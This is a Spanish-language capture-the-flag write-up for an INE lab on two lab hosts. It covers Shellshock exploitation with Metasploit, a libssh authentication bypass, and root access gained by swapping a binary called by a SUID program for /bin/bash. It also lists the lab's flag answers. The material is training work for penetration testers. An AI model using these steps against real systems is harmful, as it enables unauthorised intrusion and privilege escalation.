~/write-ups/writeup-3567d93542
Host & Network Penetration Testing: System-Host Based Attacks CTF 2
Imported from Notion: Host & Network Penetration Testing: System-Host Based Attacks CTF 2
Pistas
-
Check the root (’/’) directory for a file that might hold the key to the first flag on target1.ine.local.
-
In the server’s root directory, there might be something hidden. Explore ‘/opt/apache/htdocs/’ carefully to find the next flag on target1.ine.local.
-
Investigate the user’s home directory and consider using ‘libssh_auth_bypass’ to uncover the flag on target2.ine.local.
-
The most restricted areas often hold the most valuable secrets. Look into the ‘/root’ directory to find the hidden flag on target2.ine.local.
Empezamos como siempre con un nmap a todos los puertos
nmap -sV -sC -p- target1.ine.local

Solo tiene el puerto 80 abierto a si que vamos a ver que web hay.

La web principal nos redirige a un .cgi vamos a comprobar si es vulnerable con nmap
nmap --script http-shellshock --script-args "http-shellshock.uri=/browser.cgi" target1.ine.local

State: VULNERABLE (Exploitable) a si que vamos a buscar en Metasploit el módulo shellshock
Usaremos multi/http/apache_mod_cgi_bash_env_exec
Ponemos RHOSTS , LHOST y TARGETURI apuntando a /browser.cgi y lanzamos con run

Ahora abrimos una shell con shell y /bin/bash -i para hacerla interactiva, para buscar todas las flag, usamos este comando find
find / -iname *flag*.txt 2>/dev/null

Flag1: FLAG1_4674520ed1574608b7cc3250e0cd0623
Flag2: FLAG2_00de672327084c33965b4b14bb553be2
Vamos con el target 2, lanzamos escaneo a todos los puertos como siempre con nmap
nmap -sV -sC -p- target2.ine.local

Vemos que tiene ssh con libssh 0.8.3 vamos a buscar en searchsploit
libssh 0.8

Vemos que es vulnerable, vamos a Metasploit para buscar el módulo scanner/ssh/libssh_auth_bypass tendremos que poner RHOSTS y SPAWN_PTY en true y lanzamos con run

Vamos a buscar flags con el comando anterior:
find / -iname *flag*.txt 2>/dev/null
FLAG3_90e896e715234064b6ac4e1cf0cded87
Vamos a /home/user y vemos un binario llamado welcome
Comprobamos el tipo de binario:
file welcome

Lo ejecutamos para ver su comportamiento:
./welcome

Vamos a ver que cadenas hay dentro del binario:
strings welcome

Se observa que el programa probablemente ejecuta un binario llamado greetings → si welcome es SUID, también lo será el binario que llame.
Reemplazamos greetings con /bin/bash
rm greetings
cp /bin/bash greetings
chmod +x greetings

Ejecutamos para escalar privilegios
./welcome

Y en /root encontramos la última flag: FLAG4_935f044eed8b4d75be77f565ee7cad6b
- EOF -
<< back_to_index